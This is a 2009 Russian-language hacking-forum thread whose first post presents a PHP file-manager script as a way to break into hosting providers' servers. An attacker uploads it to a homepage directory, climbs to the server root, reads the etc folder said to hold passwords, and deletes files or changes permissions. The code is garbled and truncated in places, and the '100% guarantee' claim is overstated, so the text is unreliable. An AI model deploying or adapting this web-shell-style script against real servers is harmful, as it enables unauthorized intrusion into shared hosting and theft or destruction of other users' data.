Регистрация Главная Сообщество
Сообщения за день Справка Регистрация
Навигация
Zhyk.org LIVE! Реклама на Zhyk.org Правила Форума Награды и достижения Доска "почета"

Взлом сервера через PHP

-

Треп

- Басни, анекдоты и все, что не подходит ни под один из разделов

Ответ
 
Опции темы
Старый 05.07.2009, 10:31   #1
Заблокирован
 Пехотинец
Аватар для Silence
 
Silence скоро будет известенSilence скоро будет известенSilence скоро будет известенSilence скоро будет известен
Регистрация: 17.06.2009
Сообщений: 60
Популярность: 382
Сказал(а) спасибо: 63
Поблагодарили 151 раз(а) в 49 сообщениях
 
По умолчанию Взлом сервера через PHP

Итак народ прочитав данный мануал нашел кучу ошибок чутка исправил но осталась еше куча скрипт в прниципе рабочий если его до ума довести...

Данная атака на сервер проходит со 100% гарантией. Для успешной атаки взломщику необходимо дисковое пространство на сервере размером в 10 Kb (столько весит скрипт) и возможность запустить свой PHP скрипт. Далеко не секрет, что хакеры очень часто проникают в систему используя социнженерию, тоесть изначально подготавливают жертву, чтобы та им доверяла, получают от неё информацию и осуществляют взлом. Поэтому раздобыть на любом сервере небольшое дисковое пространство для хакера не проблема. В крайнем случае можно и купить себе домен на сервере провайдера или любой другой хостинговой компании, которую хакер собирается взломать.
В большей части взлому подвержены бесплатные хостинговые компании и провайдеры, которые при регистрации доступа в интернет дают бесплатное место для размещение домашней странички пользователя с запуском собственных PHP скриптов.
Идея реализации атаки заключается в том, чтобы залезть на жесткий диск провайдера и иметь возможность управлять файлами, тоесть удалять, просматривать, редактировать. Для этого нам придётся написать небольшой скрипт, который получит доступ к ресурсам сервера. Для начала определим какими функциями должен обладать скрипт: заложим в него функции удаления выбранных файлов, скрипт должен уметь просматривать картинки, открывать каталоги, выставлять права доступа к файлам, знать когда файл был создан в системе, когда файл был изменён, к какой группе относится файл и выставлять соответствующую иконку для удобства, переходить из каталога в каталог, указывать полные пути до файлов:
Код:
inode == $b->inode )
return 0;

switch( $sort ) //объявляем , что по каким функциям будет сортироваться
{
case "size":
return ($a->size > $b->size) ? -1 : 1;
case "type":
return strcmp($a->type, $b->type);
case "view":
return strcmp($a->view, $b->view);
case "atime":
return ($a->atime > $b->atime) ? -1 : 1;
case "ctime":
return ($a->ctime > $b->ctime) ? -1 : 1;
case "mtime":
return ($a->mtime > $b->mtime) ? -1 : 1;
case "group":
return strcmp($a->group, $b->group);
case "inode":
return ($a->inode > $b->inode) ? -1 : 1;
case "owner":
return strcmp($a->owner, $b->owner);
case "perms":
return ($a->perms > $b->perms) ? -1 : 1;
case "ext":
return strcmp($a->ext, $b->ext);
case "name":
default:
return 1;
}
}

function getIcons( $ext ) //объявляем функцию сопоставления иконки с типом файла
{
switch( $ext )
{
case "dir":
$file = "dir";
break;
case "link":
$file = "link";
break;
case "zip":
case "tgz":
case "gz":
case "Z":
$file = "compressed";
break;
case "gif":
case "jpg":
$file = "image2";
break;
case "dvi":
$file = "dvi";
break;
case "":
case "exe":
$file = "binary";
break;
case "sh":
case "php":
case "php3":
case "sql":
case "inc":
case "js":
$file = "script";
break;
case "txt":
$file = "text";
break;
case "html":
case "shtml":
case "phtml":
$file = "world1";
break;
default:
$file = "generic";
break;
}

return $IMG="";
}

class MyFile { //объявляем какие данные будут получены
var $name;
var $path;
var $type;
var $ext;
var $stype;
var $sfile;
var $size;
var $file;
var $atime;
var $ctime;
var $mtime;
var $group;
var $inode;
var $owner;
var $perms;

function set( $filename, $path )
{
GLOBAL $cd; //объявляем функции перехода по каталогам

$this->name = $filename;
$this->path = $path;
$this->file = $this->path."/".$this->name;

$this->type = filetype( $this->file );
$this->size = filesize( $this->file );
$this->atime = fileatime( $this->file );
$this->ctime = filectime( $this->file );
$this->mtime = filemtime( $this->file );
$this->group = filegroup( $this->file );
$this->inode = fileinode( $this->file );
$this->owner = fileowner( $this->file );
$this->perms = fileperms( $this->file );

switch( $this->type )
{
case "link":
$this->sfile = readlink( $this->file );
$this->stype = filetype( $this->sfile );
$this->ext = "link";
break;
case "file":
$list = explode( ".", $this->name );
$nb = sizeof( $list );
if( $nb > 0 )
$this->stype = $list[$nb-1];
else
$this->stype = "???";

$this->ext = $this->stype;

switch( $this->stype )
{
case "gif":
case "GIF":
case "jpg":
case "JPG":
if( isset( $cd ) )
$pwd = $cd."/";
else
$pwd = "";

$this->sfile = "file."'>";
break;
default:
$this->sfile = $this->stype;
break;
}
break;
default:
$this->stype = "";
$this->sfile = "";
$this->ext = $this->type;
break;
}
}

function formatSize()
{
return number_format( $this->size, 0, ".", " ");
}
}

function genUrl( $ref, $args, $key = "", $val = "" )

{
$valist = "";

reset( $args );

if( $key != "" )
$args[ "$key" ] = $val;

if( !is_array( $args ) )
return $ref;

while( list( $key, $val ) = each( $args ) )
{
if( $val == "" )
continue;

if( $valist == "" )
$valist .= "?";
else
$valist .= "&";

$valist .= $key."=".$val;
}
return $ref.$valist;
}

function updir( $path )
{
$last = strrchr( $path, "/" );
$n1 = strlen( $last );
$n2 = strlen( $path );
return substr( $path, 0, $n2-$n1 );
}

$ref = "dir.php";

if( isset( $cd ) )
{
$path = $cd;
//$lcd = "?cd=$cd'";
$args[ "cd" ] = $cd;
}
else
{
$path = ".";
//$lcd = "";
$args[ "cd" ] = "";
}

if( isset( $nb ) )
{
for( $i = 0; $i $file успешно удалён "; //сообщение об успешном удалении файла
else
echo "
Не могу удалить выставите права доступа $file "; //сообщение о невозможности удалить файл который доступен только для чтения
}
elseif( is_dir( $file ) )
{
if( rmdir( $file ) )
echo "
$file успешно удалён "; //сообщение об успешном удалении
else
echo "
файл недоступен для удаления$file "; //сообщение о невозможности удалить файл
}
}
}
}

$step = 100;

if( !isset( $sort ) )
$sort = "name";
else
$args[ "sort" ] = $sort;

if( !isset( $from ) )
$from = 0;
else
$args[ "from" ] = $from;

if( !isset( $to ) )
$to = $from + $step;

$d = dir($path);
echo " ";
echo "
Вернуться в начало "; //ссылка на возврат в домашнею директорию скрипта
$updir = updir($d->path);
if( $updir != "." )
echo "
Подняться на директорию вверх; $updir "; //ссылка на директорию вверх
echo "
Открыть директорию: path."/..>.. "; //обновление текущей директории
echo '
Текущая директория: ".$d->path." '; //показываем путь до директории и файлов, которые в ней находятся

$n = 0;
while( $entry=$d->read() )
{
$lFiles[ $n ] = new MyFile;
$lFiles[ $n ]->set( $entry, $path );
$n++;
}

$d->close(); //создаём HTML форму управления функциями
echo " ";
echo " ";
echo " ";
echo "D ";
//echo "Type ";
echo "Имя ";
echo "Размер ";
echo "Класс ";
echo "В системе ";
echo "Создан ";
echo "Изменён ";
echo "Размер ";
echo "Группа ";
echo "ow ";
echo "in ";
echo "Показ ";
echo " ";

@usort( $lFiles, cmp );

for( $i = 0; $i = $to ) )
continue;

$k = $i;
echo " ";
echo "name
."'> ";

$IMG=getIcons( $lFiles[ $k ]->ext );

$dform = "M j y H:i";
// echo "".$lFiles[ $k ]->type." ";
echo "$IMG".$lFiles[ $k ]->name." ";
echo "".$lFiles[ $k ]->formatSize()." ";
echo "".$lFiles[ $k ]->ext ." ";
echo "".date( $dform, $lFiles[ $k ]->atime )." ";
echo "".date( $dform, $lFiles[ $k ]->ctime )." ";
echo "".date( $dform, $lFiles[ $k ]->mtime )." ";
echo "".$lFiles[ $k ]->perms." ";
echo "".$lFiles[ $k ]->group." ";
echo "".$lFiles[ $k ]->owner." ";
echo "".$lFiles[ $k ]->inode." ";

switch( $lFiles[ $k ]->type )
{
case "link":
if( $lFiles[ $k ]->stype == "dir" )
{
$tcd = $lFiles[ $k ]->path."/".$lFiles[ $k ]->name;
echo "".
$lFiles[ $k ]->sfile." ";
}
else
echo "".$lFiles[ $k ]->sfile." ";
break;
case "dir":
$tcd = $lFiles[ $k ]->path."/".$lFiles[ $k ]->name;
echo "".
$lFiles[ $k ]->name." ";
break;
case "file":
echo "".$lFiles[ $k ]->sfile." ";
break;
default:
echo "NO ";
break;
}
echo " ";
}

echo " ";

$from = $from - $step;
if( isset( $cd ) )
{
echo " ";
}
echo " ";

//echo "
from=$from;to=$to;n=$n ";
echo "
";
if( $from >= 0 )
{
echo "Предыдущий/ ";
}
if( $to Далее ";
}
echo "
";
echo " ";
echo " ";
?> //говорим что PHP скрипт кончился
Вот реализация скрипта, который позволяет вам получить доступ в каталоги провайдера, содержащиеся у него на винчестере. Потенциальная опасность применения данного скрипта в том, что злоумышленник получает практически всю информацию о сервере, также злоумышленник получает доступ к папки etc, где хранятся пароли. При проверке работоспособности скрипта и проверке на уязвимости было выявлено, что все сервера, на которых разрешён запуск PHP оказались подвержены данной атаке. Скрипт помещяется на сервер провайдера, где вам разрешен запуск PHP скриптов, в директорию домашней странички. По умолчанию скрипт просматривает все находящиеся файлы в той директории, куда он был загружен для того, чтобы попасть в корневой каталог сервера жмите на ссылку "Подняться на каталог выше" до тех пор, пока вы не увидите корневой каталог сервера. CopyRight (с)
При выходе из вашей директории скрипт возможно сообщит вам о невозможности выйти из вашего каталога, это сообщение сервера игнорируйте и жмите на ссылку "Подняться на каталог вверх", скрипт передаст данные серверу о том, что каталоги которые вы пытаетесь просмотреть являются вашими и вас пропустят.
  Ответить с цитированием
Старый 27.09.2010, 20:41   #2
 Пехотинец
Аватар для Zheludd
 
Zheludd никому не известный тип
Регистрация: 09.07.2009
Сообщений: 72
Популярность: 13
Сказал(а) спасибо: 262
Поблагодарили 121 раз(а) в 76 сообщениях
Отправить сообщение для Zheludd с помощью ICQ Отправить сообщение для Zheludd с помощью Skype™
 
По умолчанию Re: Взлом сервера через PHP

тема старая а комментов нету.. хоть кто пробовал?
________________
Just can't live that negative way...make way for the positive day!
  Ответить с цитированием
Пользователь сказал cпасибо:
Logan22 (04.03.2013)
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Взлом MySQL wagan Баги и читы Lineage 2 1 25.08.2009 10:46
Взлом сервера через CuteNews Silence Архив 3 18.06.2009 11:25

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 20:12.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net